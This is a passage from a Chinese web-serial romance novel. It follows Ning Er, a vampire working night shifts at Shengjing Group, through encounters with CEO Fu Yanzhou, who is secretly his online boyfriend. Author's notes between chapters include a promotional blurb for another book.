人类的这场雨可能不小,整个盛景集团的人都行色匆匆,都停止加班开车离开公司回家。 宁尔照例用晚上的时间把今天的工作任务做完,刚想看看天气预报看看有没有下雨,一打开手机就看到了靳伟的未接电话。 宁尔赶紧回过去,没接。 他打开微信看了看,是靳伟的几条语音: “陈元之去哪儿了?家里没人啊?电话也不接。” “你带钥匙了吗?” “我有事儿得回家,带钥匙联系我。” 宁尔是有元之和靳伟那个房间钥匙的,赶紧回复: [伟哥我带了,我在公司,怎么给你?] 靳伟立马秒回: [在公司正门门口等我,大概五六分钟,我送朱总应酬完就来取。车是迈巴赫。] 宁尔赶紧带好钥匙,三步并作两步跑上一楼。 宁尔一出门就发现外面冷得厉害,虽然不是倾盆大雨,但每滴雨珠都分量十足,落地有声。 前台的备用伞早就被下班的人拿光了,宁尔只能抱着手臂在门外等。 幸亏盛景的廊庭够大,宁尔小小的一只缩在屋檐里,基本也淋不到什么雨。 等了大概五六分钟后,宁尔看到一辆车在雨夜中缓缓驶来。盛景门前很少有车辆经过,宁尔刚刚又查过迈巴赫的车标是什么样,他揉了揉眼睛,没错,就是这辆。 副驾驶和后座有人下去,宁尔看不清人,但知道这应该是客人或者朱总,所以现在车上应该只有靳伟了。 宁尔瞅准时机,像一道闪电一样冲进后座拉开车门。 “伟哥,给你……” 宁尔伸出的手僵在半空中。 方向盘的车边证实了这辆就是迈巴赫,但并不是靳伟的那辆。 不是不仅靳伟的车,后座主位上那双饶有兴趣看着他的眼睛还格外熟悉。 傅总…… 完了。 宁尔倒吸了一口凉气,没来得及关上的车门滴答渗雨,被上上下下打量了一番。 “傅、傅……”无礼地贸然闯入让本来就害怕的宁尔更加结巴。 “先把门关上。” 身边传来这个冰冷的指令,宁尔下意识乖乖听话关门。 雨声拍打在车沿周身,宁尔不敢再看傅宴舟,低头解释: “傅总、我、我不是故意来捣乱的,我在等给我的朋友送钥匙,没看清上错了车……” 傅宴舟和前排的司机一时间都没说话。 尴尬。 没等宁尔再说什么,傅宴舟手上忽然动了动,他抬手,从脸的右侧,缓缓摘下那只黑色的口罩。 一道触目惊心的暗红色伤疤从高挺的鼻骨一直贯穿到右侧脸颊。 “啊……” 宁尔没忍住低叫了一声,叫完之后又赶紧捂住了嘴巴。 傅宴舟在他的惊叫声中不动声色地敛眸。 司机听到这动静,不动声色地升起了前后排之间的格挡。 宁尔难以克制地看着傅宴舟的脸,这张脸他曾在视频照片里看到过无数次。 帅是仍旧帅的,可也正因为太帅,这道伤疤如同一道拙劣的笔触,改变了一张原本意气风发的精致脸庞。 那天的惊险受伤,还是彻底改变了他吗? “吓到你了?”傅宴舟沉声问。 宁尔感觉到了他被看到这副模样的低气压,努力控制住自己低下头,发梢有水珠在男人的注视下滴落: “对、对不起。” 他小声回应。 “对不起?”傅宴舟的语气似乎有些诧异。 “如、如果我们当时再走快一点,早点遇到傅总,就、就不会被划到脸。” 宁尔的道歉真情实感,哪怕这和他没有半点关系,但看到被他救下的人仍旧伤痕斑累时,宁尔仍会忍不住自责,也许自己可以做得更好。 他明明完全有能力的。 宁尔感觉到身边的傅总似乎深深地吸了一口气,重新把口罩戴回去,语气回归正常,无端地和这个男孩多解释了一句: “这道伤会恢复。” 宁尔一怔,心里松了口气: “那就好、那就好。” “你等的朋友,小朱的司机?”傅宴舟再度开口。 宁尔眼睛一亮: “傅总知道?” 他知道靳伟,知道靳伟是他的朋友,那会不会,其实也有些了解他呢? 傅宴舟沉声“嗯”了一句。 “那傅总知不知道我叫什么?” 傅宴舟的手指在车窗沿上轻敲了敲,余光瞥了一眼这个戴着大黑框眼镜的少年: “你叫什么?” “我叫宁尔,今年19岁,当时能够见义勇为救了傅总是我的荣幸,我没有别的想法,只想入职盛景,能够跟在傅总这样的优秀企业家身边发光发热。” 终于被他逮住了机会,宁尔一股脑把之前背好的说辞全说了出来。 傅宴舟的脸色几不可查地变了一下,眉宇间又松弛下来,故作有兴趣: “是吗?你打算怎么为盛景发光发热?你现在的职位和职务,恐怕有点难吧?” 职位! 叮~ 宁尔脑子里仿佛有一根小小的弦,在傅总说到“职位”两个字之后被轻轻拨出了余音。 经过大半个月的职场生活,宁尔这只小牛马已经完全懂这两个字的意味了。 宁尔眼睛亮了亮,喉咙发热,看着傅总的脸,没等他说话,忽然被傅总出言打断: “下雪了。” 他的目光越过宁尔望向窗外,宁尔也猛地一扭头,窗外的雨滴不知道什么时候变成了簌簌雪花,雪花很小很小,细碎的白色落在地上就消失不见了。 这是宁尔第一次看到雪,趴在车沿上怔怔地看着窗外。 白色雪花轻轻飞舞,在盛景大楼灯光的映照下十分梦幻。 这是A市的第一场雪,宁尔顾不上自己还在傅总车上,偷偷拿出手机打开缘来,飞快地给舟先生发了条消息。 宁尔忍不住兴奋地转头,眼睛亮亮地看着傅总。 傅宴舟的神色中没有任何波澜,下雪在他眼里是一件在平常不过的事。 “小朱今天送客人,你朋友可能一时半会儿也回不来。先回公司吧,钥匙我找人转交。” 傅总开口,宁尔也不死心眼地再等了。 反正傅总找靳伟,肯定比他自己找方便地多。 傅宴舟移开格挡,宁尔把钥匙交给秘书。 “那就真的谢、谢谢傅总了。” 傅宴舟的语气再度冰冷疏离起来,那种压迫感又来了,宁尔知道他应该下车了,正想拉开车门逃跑,车子忽然直接启动,差点把宁尔甩在后座上。 迈巴赫把他们带到了傅宴舟的私人地库,傅宴舟和宁尔下车,司机去泊车,宁尔左看看右看看,似乎在找什么。 “你在找什么?” “找、找电梯。” 宁尔知道那部电梯是傅总的私人专梯,其他人不能乘。 “乘这部吧,上去再换。” 傅宴舟穿着一身黑色长款呢子大衣,宽肩窄腰的身材和宁尔对比尤其显得高挑利落。 傅总比舟先生高一些。 宁尔脑子里忽然冒出这个奇怪地想法。 傅宴舟看到这人明晃晃地看着自己发愣,出言提醒: “不走么?” “哦哦哦走、走。”宁尔赶紧也钻进电梯,恭恭敬敬地站在傅总身后,两人之间隔着好几个人的站位。 就像平时职员在电梯里遇到领导那样。 傅总才不管他在几层下,直接按下了98层。 “你怎么知道这里其他电梯的位置?” 电梯匀速上升,傅总随口问。 宁尔愣了一下,没有隐瞒: “之前有一天晚上给靳伟,就是我朋友,朱总的司机送过一次东西。那天下雨,我躲雨,不小心走来过这里。” 宁尔看到他说完之后傅宴舟仿佛思衬了一下: “哦,那天就是你啊。” 宁尔当然记得那天他就不小心按开了傅宴舟的电梯,后来傅宴舟还派人抓他,没想到他也记得。 宁尔有些尴尬,又觉得有些奇妙,他脸色微微发红,咬了咬嘴唇,有些不好意思地看着傅宴舟,细声细气: “傅总,这、这点小事您还记得呀……” 电梯在最后十几层时速度飞快,高速升空带来的失重感让宁尔有些耳鸣,不得不把指尖放在耳边轻揉。 “当然记得。” 一阵嗡鸣过去,电梯停下。 “因为那天大雨,我男朋友淋湿了,我很心疼。” 傅宴舟边说边关上刚刚看过消息的手机,眉眼间不知道是不是因为那条消息变得温柔舒展。 门外似乎有人想帮忙按“开”,却被傅宴舟用修长的手指先按住了“关门”。 他另一只手握着手机,缓步往宁尔面前走了一步,头顶的阴影再度居高临下笼罩过来。 宁尔身体本能地缩紧,心跳紧张起来,两只手在背后紧扣着手指,就听傅宴舟在头顶道: “声音学得还挺像。样貌也有几分相似。” “不过,我劝你还是别白费力气了。”—— 作者有话说: 解释一下傅总和宁尔前几次接触的确没看过对方的脸。 要么黑着灯,要么距离远,要么蒙着眼(三押skr~) 其实可能亲一下就认出来了哈哈哈哈) 很快就会掉马的,别担心a 至于两人都没有联想是对方是因为心里已经有恋人了,所以对方再帅再怎么样在彼此眼里都是无感的~—— 撸出了一个新预收,下本开这个,喜欢的宝宝可以收藏一下呀~ 平凡窝囊的社畜安也一觉醒来绑定了老实人系统,任务是扮演好狗血纷飞世界里那个唯一的老实人,推动原书攻受大和谐。 世界一 帝国高岭之花教授Omega被年轻有为的少将看上,高龄之花为爱走下神坛,后来才知道自己从一开始就被当做替身,甚至险些被摘除腺体囚禁起来。 教授伤心欲绝一走三年,三年里,只有安也这个“知心好友”Beta风雨无阻悉心照顾,帮助他一点点走出伤痛。 三年过后,火葬场戏码到来,安也按照剧情要求去拙劣地挑衅完攻,却被那个顶级alpha锁在基地里,墨色眸间的欲望倾泻而出: “你不为我所动的样子很像当初的他。” 安也拼命甩开攻逃回家,下一秒却被朝夕相处三年、酒意微醺的清冷的教授按在墙上: “你害怕时,颤抖的样子都和我很像。我喜欢闻你身上沾染的我的信息素的味道。小也,外面很危险,别出去了。” 不是,这对吗? 世界二 京圈少爷攻看上了舞蹈学院的贫苦小白花,一通巧取豪夺强制爱在法制咖红线游走。 小白花誓死不从,盯上了他们京圈少爷里唯一一个窝囊废安也。 少爷攻听说“情敌”竟然是一直跟在他们屁股后面的那个窝囊废,当晚冲到安也家把人堵在卧室里: “小也,长大了,怎么敢和哥哥抢东西了?你这张床,小时候还和哥哥一起睡过吧?” 安也拼死抗住少爷攻的种种奇葩报复手段,小白花却仍旧在酒吧被下药。 安也把人捞回来,又是喂水又是喂药,却被意乱情迷小白花反手按在床上: “小也,难受,帮帮我。” 等等,先等等呢? 世界三 安也是地主家短命的残疾少爷,主角受是被他家强娶来的冲喜夫人,等他一死就会自动变成小寡妇和主角攻搞在一起。 真·混吃等死。 没想到好景不长,登徒子攻半夜爬错了窗,抱起来安也就往外跑。安也拼命推他“错了错了”。 攻闻言一愣,握着手中盈盈一把的腰身,低笑一声: “现在送你回去也是死,牡丹花下也是死。” 被及时就回来的安也吓得萎靡不振,当即决定和受和离,却发现没有一个下人再听他使唤。 “少爷,夫人说您脑子吓傻了说胡话。今晚他去您房里照顾您。” “夫郎,腿坏了躺好就可以,不是么?” 停停停停停- [全世界的攻受都吻上来了怎么办] [老实人不是用来干这个的] 食用指南: 1.应该算万人迷,但真普通老实人受 2.正牌攻不是原书攻受,切片攻。 3.4-5个世界,后面大家想看什么世界可留言 4.偏慢穿,控党误入。 第50章 傅总要现在见他。…… 为什么有人会忽然在别人面前接了个电话呢? 傅总看着宁尔, 说完那两句莫名其妙的话,就自己出电梯了。 宁尔倒是没留意傅总耳朵里是不是有什么高级蓝牙耳机,但电梯里没有其他人, 又不可能是对他说的, 那一定是在打电话了。 打就打吧, 还看着自己。 吓得宁尔心里突突突跳了几下。 而且万一说了什么他不该听的,他不是要被更讨厌了。 对, 讨厌。 虽然傅总没说, 还让他坐了会儿车, 一起上了电梯, 但宁尔总觉得, 傅总好像并不太喜欢他。 手机提示音响起,宁尔立马不再关心傅总是不是讨厌他了。 因为, 他收到了舟先生的回复。 银耳粥:[竟然下雪了。宝宝是第一次看到雪吗?好看吗?] 亲亲小耳朵: [像雨水的味道……还、还挺好看的,就是有点小。] 宁尔刚刚还趁机伸出舌头接了一片雪花尝了尝。 傅宴舟莞尔: [今天是雨转雪,天气还不够冷,所以小一些。没关系,之后会有大雪。或者, 哥哥带你去其他地方看雪。] 宁尔看到这句话,心里很甜,撅着小嘴打字问他: [哥哥,你刚刚淋到雪了吗?] [淋到一点,很少, 怎么了?] 亲亲小耳朵:[没关系, 淋到了就好。] 亲亲小耳朵:[“今朝若是同淋雪,此生也算共白头”~快哉快哉~] 傅宴舟刚喝了一口茶,险些喷出来, 嘴角的笑容牵扯地伤口都有些发疼: [在哪儿学的古风小生?] 宁尔得意地撇撇嘴: [网上学的。有文化吗?] 银耳粥:[嗯。还没见过面,就想一起共白头了啊?] 舟先生这句话又在故意逗他,等他回答完估计就又下一句再等着了。 可偏偏这句话宁尔接不了,哪怕是玩笑也开不出来。 吸血鬼和人类,怎么可以一起变老呢。 宁尔打了个哈哈,舟先生也没追问,而是说: [我先出去一下。] [现在吗?外面还在下雪呀?~]宁尔问。 [就是要去淋雪。] [淋多一点,小耳朵的愿望是不是才能成真?] 宁尔整个脸蓦然一红,他并不怀疑舟先生真能做出这事,赶紧阻拦他: [不了不了,我开玩笑哒。哥哥你身体还没痊愈,淋湿会生病的。担心/担心/] 对面似乎认真思考了他的担心,末了回复: [好。] [哥哥,我在公司里遇到了一点问题想请教你。] 傅宴舟仿佛都能想象到小耳朵那种软萌的语气,还带着点淡淡忧伤的苦恼,眸光中盛满了温柔,对着手机打字: [嗯,告诉哥哥。] [如果……公司里个同事,忽然说我说起他男朋友什么的,这是什么意思呀?] 傅宴舟敏锐地注意到那个代称。 “他”。 [男生?] [嗯。] [同事?还是上司?] [算是……上司。] 虽然这个人上宁尔有点多吧。 [平时和你接触多吗?] [很少,几乎没见过。] 傅宴舟松了口气: [应该没什么。一种可能是个人习惯,分享自己的甜蜜情感;另一种可能是个人边界感比较强,提前告诉所有人,避免工作当中不必要的纠缠。] 不必要的纠缠…… 谁会纠缠傅总呢? 宁尔脑壳有点晕,总不会是他吧? 他有男朋友,我宁尔还有呢。 一想到堂堂傅总原来也有这么自恋的一面,宁尔忍不住咂咂嘴,不过还是暗自下定决心以后要躲他更远一点了。 结束对话后,傅宴舟仔细揣摩了一会儿亲亲小耳朵说得那句话。 他说得那两种情况,算是在安慰他。 A市同性恋爱不算大众,一个规模还不错的公司,没有交集的上司,无缘无故对漂亮下属说这种话。 不排除,在试探他的底线和持有成本。 想到小耳朵那张模糊的脸蛋,还有蒋昀和傅柏“漂亮极了”的评价,傅宴舟眼眸无意间看向那些黑压压的口罩。 得快点出现在小朋友身边了- 靳伟从刘秘书手里拿到钥匙的时候人都要傻了。 傻得不止他一个,还有朱总。 “刘秘,您是说,您是来给我的司机小靳,送他的家门钥匙的?” 朱总点头哈腰,态势标准。 刘秘书淡淡地“嗯”了一声: “受人嘱托,帮个忙,朱总别客气。” 靳伟怔怔地接过钥匙,朱总看看他,他看看朱总,在只有两人能看到的间隙里,朱总偷偷朝靳伟比了个大拇指。 靳伟在心里给宁尔比了两个。 第一场雪并没有持续多久,却让A市温度又低了几度。夜里窗外被潮湿的水汽凝结成霜,扒在窗户上白蒙蒙的一片。 陈元之一连走了三天,再回来盯着两只黑眼圈,胡子拉碴面容憔悴,一进门就扑倒在沙发上嚎叫: “我不活啦啊啊啊啊!” 宁尔和靳伟正在给玻璃除霜,看到他这样赶紧都停下来手里的动作,宁尔小步跑过去摇晃他: “元之、元之你怎么啦?” 陈元之甩开宁尔的胳膊,脸埋在沙发里,还是一个劲儿地嚎: “别管我我不活啦!!” 宁尔更急了,又去晃他,结果又被陈元之甩开,还险些推到在地上。 靳伟一看来了气,直接皱着眉头走过去,一条腿把陈元之的胳膊反手压住: “你发什么神经?” “啊啊啊你滚下去啊!!你别这个姿势对我啊啊啊!” 陈元之继续嚎叫,丝毫没有平日在语音房里的气泡小夹子音。 “元之,你到底怎么了?出什么事儿了?” 靳伟听到他这么说,也愣了一下,把腿放了下去: “说话。” 两人把陈元之抬起来,让他坐在沙发上,面包羽绒服里的陈元之像个漏气的气球,嘴一撇: “我网恋被骗了。” “骗什么?骗钱吗?” 陈元之摇摇头。 靳伟和宁尔同时松了一口气。 陈元之:“……我靠,什么反应?骗感情了,骗感情了懂吗!差点色都被骗了!!” “妈的,富婆,富婆……是个男的” 陈元之说完又扑倒在沙发上开始哀嚎了。 宁尔睁大眼睛看着他,脑子里反应着这句话,反应过来之后眨了眨眼,认真问: “元之,原来你也是gay呀?” “gay个头啊!我被骗了!那是个秃顶啤酒肚油腻中年男!” “呜呜呜呜呜。富婆的账号早就被盗了,后面一直都是这个油腻男在骗我,他还想让我睡他,要不是老子跑得快……呜呜呜呜。” 宁尔和靳伟对视了一眼,竟然还会发生这种事…… 元之本来就不喜欢男生,何况对方还欺骗了他的感情。 “元之,你想哭就哭出来吧~” “哭累了我请你吃火锅,几顿都行~” 小小地宁尔一屁股坐在他面前地上,笨拙地安稳人。 陈元之一滴眼泪都挤不出来地嚎了一会儿,嚎累了坐起来有气无力道: “渴,谁给我拿瓶水。” 宁尔正要起身,靳伟已经快他一步去给陈元之倒了一杯水来。 温水。 陈元之抱着杯子咕嘟咕嘟喝了几口,又从头到尾给他们讲了一遍自己是怎么被抠脚大汉欺骗感情,又怎么被骗去酒店的事。 他们问陈元之知不知道从什么时候开始对面就不是富婆变成男人了,陈元之说最悲催的就是这个,他根本不知道什么时候变的。 不管元之有没有付出真感情、付出了多少感情,最终的结果都是被骗了。 宁尔拍拍陈元之的肩膀,一时间不知道该怎么安慰: “元之……” 陈元之emo了一会儿,叹了口气,反手拍了拍宁尔的肩膀: “小耳朵,哥没这网恋的命,哥把哥的好运都给你,希望你能奔现成功。” “你这运气还是别传给别人了。” 靳伟点了根烟,仍旧揶揄他。 陈元之说他要一个人缓几天,魂不守舍地走回卧室了。 宁尔忧心忡忡地看着他的房间: “伟哥,元之不会有什么事儿吧?他好像之前也也没谈过恋爱叭……” 宁尔记得他俩说过,从初中起就都辍学出来辗转打工了。 元之家里欠钱,被村里放贷的打进过医院,修养了好久又和靳伟一起出来,可能都没时间谈过恋爱。 “不知道。”靳伟语气硬生生的。 “吃一堑长一智,就允许他天天网上骗别人么。”靳伟吐了口烟: “别担心了,我还不了解他,出不了事儿。” 宁尔点点头:“好……” “伟哥,你说网恋失败的滋味,好像也挺难受的吧?” 靳伟朝里屋扬了扬下巴: “也不是因为失败吧,欺骗。被骗儿的滋味儿谁都受不了。小帅哥也就算了,还是个抠脚大汉。小耳朵,你确定你的那个网恋对象没骗你吧?” 家里一个两个都沉迷网恋,靳伟像个大哥一样操碎了心。 宁尔赶紧摇摇头: “没、没有。” “他是真的。” 因为我才是假的。 陈元之只是被男人装作女人骗,可他却是一个鬼装作人…… “伟哥,我先再去烫个头吧。” 宁尔一溜烟跑了。 既然没办法改变属性,帅一点也算弥补……- 陈元之消沉了几天,始终没勇气打开缘来,不过魂儿好歹是回来了。 不直播他几乎没什么事干,缘来的礼服配饰陆陆续续到了,陈元之干脆给宁尔当起了野生经纪人。 礼服主要集中在红、蓝、白三种颜色,几个人挑来挑去,宁尔试来试去,最终留定下来一套胸口、领口白色带刺绣细闪的礼服。 宁尔本就清瘦修长的身形,在纯白衣料的衬托下,更显出一种出尘脱俗的气质。刺绣和细闪又让整个人多了一些活泼的气质,打眼一看就像一个小王子。 宁尔一穿上这身衣服,陈元之几乎看呆了。 这和那些电视上的大明星走红毯有什么区别? 只要宁尔露脸,必能引爆缘来。 宁尔对这些倒是挺无所谓,像个芭比王子一样任由陈元之折腾。 他唯一的要求是要把花瓶里那朵塑料玫瑰别在胸口。 陈元之差点气晕,两人僵持了三百回合,最终各退一步,宁尔还是在胸口别一朵红色玫瑰,只不过是鲜艳的,真花。 宁尔这段时间自己也在网上看了无数个明星红毯视频,以及类似的娱乐盛典年会的视频,努力学习了很多采访问题,生怕自己表现不好出糗。 紧张又兴奋的日子过得飞快,一晃就到了年度盛典当天。 今年的盛典城市破天荒选在了寸土寸金的A市,有人调侃是因为粥老板砸了太多钱,缘来的经费都充裕了。 虽然说是年度盛典,但并没有占用12月31号这个跨年的大日子,而是提前了一周,赶在了圣诞节那个周末。 人类的圣诞节让夜晚变得与众不同,对宁尔这个夜行鬼更加友好。 街边门店玻璃橱窗里喷绘着驯鹿与雪花的图案,霓虹灯串缠绕着行道树在夜色中闪烁。 广场上的巨型圣诞树拔地而起,金箔与彩球层层叠叠,顶端那颗银星仿佛真得要与墨色天际融为一体。 每天夜里上下班,都让宁尔贪得了一点本来属于人类的乐趣。 盛典是晚上8点开始,宁尔干脆把今天的班请了个假。 舟先生说今天可能下雪不好叫车,还是把之前接过他的司机派给用,直到盛典结束安全送人回家。 再过几个小时,盛典开始宁尔亮相,舟先生就能看到自己的样子了。 主办方说让他提前换好西装,届时会有专业的化妆师给他做造型。 专业化妆师,那应该会比现在更帅了。 宁尔心里的小算盘打得霹雳作响。 在最帅的一天、众人瞩目下被舟先生看到,这还不迷死他? 宁尔算盘还没打完,就被肖特助的一通电话拉回了现实: 傅总要现在见他,亲自感谢当天的救命之恩—— 作者有话说: 晚上还有一更,掉马吼吼吼! 50-60 第51章 小耳朵掉马…… 半小时前, 肖特助汇报完常规工作,顺势提起那个救人的小男孩,宁尔的最新动态。 傅宴舟冷笑了一声: “有异常?” 肖特助神色难掩地皱了皱眉: “是。” 以一敌十, 小巷救总裁, 无业少年一分钱都不要只想进盛景, 离傅宴舟近一些。 声音学得和他的网恋对象有八分像,连样貌轮廓都有相似, 一次次“不小心”撞见总裁。 这个计划方法看似拙劣, 但偏偏卡在了救过傅宴舟这个不争的事实上。 相比于那些意图明显直接被清扫干净的, 他的确能顺利留在盛景。 谋财害命他什么都不做。 傅宴舟不认为那个笨拙的少年能自己策划出这个计划, 也好奇他背后的人和目的到底是什么。 傅宴舟给了肖特助一个“讲”的眼神, 肖特助开口: “最近有人来问过,咱们公司是不是有一个叫宁尔的人。还拿着一张宁尔的照片比对。” “什么人?” 肖特助摇摇头: “尚未查到, 对方行事很隐蔽,基本都是夜间傍晚问询。前台已经统一回复不清楚。听前台描述,对方和宁尔看起来差不多大,脸色也十分苍白,瞳孔是浅蓝偏绿色。” 肖特助说完时候忐忑地看了傅总一眼。 他本来不想汇报这句的, 但前台反复强调了这一点,好像是什么很重要的信息。 果然,傅总眉头轻蹙: “瞳孔什么颜色很重要么?” 肖特助:“……” “鱼好像在自己咬钩了。” 傅宴舟伸手看了一眼腕表上的时间: “叫他来一趟,再准备一份差不多的礼物。” “查到来打听人的背景、信息。下次再来,记得透露一些信息。”- 宁尔已经换好了那套白色西装, 舟先生的司机也已经在门口等待接他了。 怎么偏偏要今天正式感谢他。 宁尔当然不可能和肖特助说自己有事大总裁能不能改天见他, 也不舍得放过这个唯一能够正大光明和傅总谈话的机会。 但他又实在不能误了年度盛典,纠结了一会儿,好在肖特助给他透露, 傅总和人面谈的时间一般不会超过二十分钟。 二十分钟。 二十分钟还是够的。 他直接让司机一脚油门开到盛景,乘电梯上了98层,看到肖特助的时候对方明显对于他的穿着有些吃惊。 总觉得,那张戴着大框眼镜的脸和这身衣服这么违和呢…… 肖特助没有多说,直接把人带到了傅总办公室门口,敲了敲门示意他进去。 宁尔这是第一次踏进傅总办公区域,整个公区从走廊里就铺了地毯,他打开门,诺大的办公房间里铺着一条棕褐色的简约纹路波斯地毯。 宁尔的皮鞋小心翼翼地踩上去,仿佛踩在柔软的云端一样。 办公室挑空极阔,穹顶垂下一盏吊灯色调偏冷,总体的灰黑色自带一种冰冷压抑感。 傅总不在外间,宁尔继续往里走,才看到傅总端坐在宽大的红木办公桌后,一身剪裁考究的深蓝色西装衬得肩线格外挺拔。金丝眼镜在顶层巨大落地窗反光下透着寒意。 他没再戴口罩,任由那道长长的伤疤贯穿鼻梁。 “傅、傅总好!” 宁尔的身体没反应过来就自己鞠了个躬。 “坐吧。”傅宴舟朝沙发道。 他摘下眼镜,揉了揉眉心,冰冷疏离的寒意稍稍减弱了一点,边朝沙发走过去边道。 “要去当伴郎?” 傅宴舟看清了宁尔身上这套剪裁不凡,但花里胡哨的白色西装,像是要去结婚或者当伴郎。 宁尔有些不好意思地低头: “没,没有,就是去、去参加一个小活动。” 傅宴舟坐在了他对面的沙发上,摘掉眼镜,稍稍解开袖扣,故作一种放低身份拉进距离的姿态。 这样的态度让宁尔稍稍放松了不少,有勇气直视他说话。 “这段时间一直在忙,说要当面正式感谢你也没来得及。这的确不应该是对救命恩人的态度,抱歉。” 傅总的声音温柔起来和舟先生更像了,宁尔看着他的宽肩窄腰的身材,脑子都忍不住有些犯迷糊。 “怎么了?”傅宴舟看出来小孩眼神的不对劲,开口问。 宁尔赶紧甩了甩脑袋: “没、没关系傅总。当时能够见义勇为救了傅总是我的荣幸,我没有别的想法,只想入职盛景,能够跟在傅总这样的优秀企业家身边发光发热。” “……” 说辞都不愿意再背一套新的。 宁尔看到傅总脸色轻微变了变,但只是转瞬间又恢复如常: “对了,我一直很想知道,那天那么多人,你看起来这么瘦弱,怎么做到能打走那么多人?” 傅宴舟听了那群亡命徒后续的处决,其中在傅宴舟被解救时两人当场肋骨折断。 傅总的目光中有了些审视的意味,宁尔有些心虚: “不,不是我一个人做到的。还有我的朋友,我们一起,当时马路上很多人,我们追出去,打起来,他们就不敢动手了。” 宁尔编。 傅宴舟旋了旋腕上的袖扣: “这样啊。” “嗯嗯傅总。”宁尔点头。 “可我记得,你们当时始终有一个人在我身边啊。是我记错了么?” 傅宴舟抬头,似乎意味深长看着宁尔。 宁尔被戳穿了,鬼脸一下红到了耳根,硬着头皮撒谎: “可、可能是傅总记错了。” “哦。” “我听肖特助说,你朋友要了一些钱,你不需要吗?” 宁尔连忙摆手: “不用了不用了傅总,肖特助给我的工资很高。” 宁尔知道,哪怕他没要钱,其实傅总或者肖特助也在给他物质补偿。 否则他怎么能只上夜班给文件分分类就拿到每个月10w块的薪资呢…… 靳伟方向盘打到冒火星子也只有2w…… “那除了钱和进盛景,还有什么我能满足你的愿望吗?” 傅宴舟语气绅士,循循善诱。 宁尔被这道熟悉的声音搅的脑袋发晕,看着他的英俊帅气五官下那个温柔的笑容,一时间甚至忽略了那道骇人的伤疤。 其实,哪怕有这道伤疤,傅总的英俊也无人能质疑。 宁尔努力甩了甩脑袋,抵制住“舟先生”声音的诱惑,心里飞快打了一会儿算盘。 如果傅总真的只是让他提要求的,那又怎么会先套他的话呢? 万一他说了蓝宝石后,傅总震怒,让人揍他一顿呢。 马上就是年度盛典了,是那么多粉丝和舟先生期待的露脸,宁尔不想出任何岔子。 宁尔眼睛飞快转了转,抬起头憨憨地笑了一下: “傅总,我的确有愿望,您可以给我时间想一想吗?等我想好了再来找您说?” 傅宴舟仿佛没想到他会这么说,手指一顿,追问了一句,宁尔还是这句“回去想想,想好再来找您”。 傅总没再追问,点了点头认同他的请求。 口袋里的手机忽然开始震动,是宁尔给自己设置的二十分钟闹钟,他按掉闹钟猛地站起来: “抱歉傅总,我真的有点事,恐怕得先走……傅总你说什么?” 宁尔一股脑地站起来之后才意识到傅总好像还有话说。 “……” 傅宴舟感觉,自己已经有很多年没有被人打断过说话了。 “最近好像有人来盛景找你,朋友么?” 傅宴舟语气保持不经意的平和。 “找我?不会的傅总,可能是认错了,不会有人找我的。” 人类世界知道他在盛景工作的只有靳伟和陈元之两个人,怎么可能有人找他。 宁尔边说边又看了看手机时间: “抱歉傅总,我真的来不及得走了。” 他脸上的焦急不像是假的,这个问题回答地也想当流利。 傅宴舟坐在沙发上沉默了片刻,方才眸间的温柔消失殆尽,恢复了惯常的疏离: “我准备了一份谢礼,之后让肖特助给你。” 他站起身,拿起衣架上熨烫妥帖的精致毛呢大衣,伸手穿套在西装外: “我也有事,一起走吧。” 宁尔松了口气,乖乖跟在傅总身后。 他搭乘的是专用电梯,出门时候两人都看了眼窗外,已经又不知道什么时候开始飘起了雪花。 12月末的雪花比初雪大了很多,雪花在昏黄的灯光映照下折射着暖白色的光。 “去哪儿?要不要派车送你?”傅总问。 宁尔赶紧道谢后摇摇头: “不用了傅总,我也去停车场就好,有车送。” 他说完按下了盛景的停车层B4。 “傅总您去B3?” “和你同层。” 宁尔“哦”了一声,按好关门,乖乖同傅宴舟一同下行。 电梯运行了一会儿,宁尔实在忍不住,开口: “傅总,我可以问您一个问题吗?” 傅宴舟余光瞥了他一眼: “说。” “傅总,请问您的香水是什么味道呀?” 宁尔从第一次见傅宴舟就闻到了,他身上的香水味道和舟先生身上的味道很像。 傅总听到他这个问题,稍稍沉默了一下,忽然朝宁尔走近了一步,饶有兴趣地盯着他: “问这个干什么?” 宁尔眨巴着眼睛看着他,嘴角微微扬起: “这个味道,和我男朋友身上的很像。” 傅宴舟仿佛听错了一样,下意识重复了一遍: “什么?” “和、我、男、朋、友、身、上、很、像。” 一提起男朋友,宁尔顿时既不结巴,也不害羞了。 “你有男朋友?” “对呀,傅总。” 傅宴舟眉头轻蹙: “那你男朋友知道你……来盛景工作吗?” “现在还不知道……怎么了傅总?” 宁尔看着傅宴舟复杂的表情,有些疑惑不解。 傅宴舟深深地看了他一眼,似乎想透过那双墨色的瞳仁里看到什么。 “没什么。” “既然很像,问他不是更合适么?” 宁尔想了想,眉眼弯弯真诚回答: “您说得对。虽然都是总裁,他的确比您好说话很多。” 电梯到达B3,肖特助开着迈巴赫等在门口。 “再见傅总,谢谢您。” 宁尔和他俩打过招呼,就找到了身后接他的车子钻了进去。 “司机哥哥,我们得快点赶时间了。” “好的。” 司机虽然瞥见了身后的人和车,但听小少爷这么说,没再多说多问,径直朝停车场出口开去。 傅宴舟上车,肖特助忍不住边启动车辆边八卦打听: “傅总,小宁、小宁怎么说?” 后座傅宴舟卡上安全带,轻微地冷嗤了一声: “他远比我想象的更复杂。” “您是说……小宁?还是他身后的人?” 肖特助话里话外仍旧有些难以置信。 傅宴舟玩味地看着前面那辆宁尔刚刚钻进去的车。前车很快通过停车场的安全抬杆系统,一秒都没有滞留就顺利驶出。 “原本我以为是后者……” 他话还没说完,抬杆系统电子屏上的“内部车辆”四个字猛地落在傅宴舟眼里。 肖特助感受到傅总的话音骤停,连忙顺着他的目光看去。 地库里光线较暗,肖特助还是看清了。 那是宁尔乘坐的车,黑色的奔驰本身没有任何特别,特别的是那个车牌号。 那是盛景专属司机班的车辆之一。 “这、这不是小金的车吗……小宁怎么会乘他的车呢?” 肖特助一边惊讶看前方一边回头看傅宴舟,对方挺拔的身姿在后座仿佛瞬间僵直,墨色的瞳孔中眸光如同惊涛骇浪般翻涌变幻。 “晚上要去参加一个重要的活动。” “你身上的香味和我男朋友很像。” “哥哥,我刚刚去给朋友送东西了,外面的雨好大啊” “哥哥,我今天去见义勇为啦。” “跟上他的车,拨通司机的电话。” 傅宴舟每一个字如同千斤坠地。 肖特助背后一凛,不敢有丝毫怠慢,一脚油跟上前车,同时用车载电话拨出。 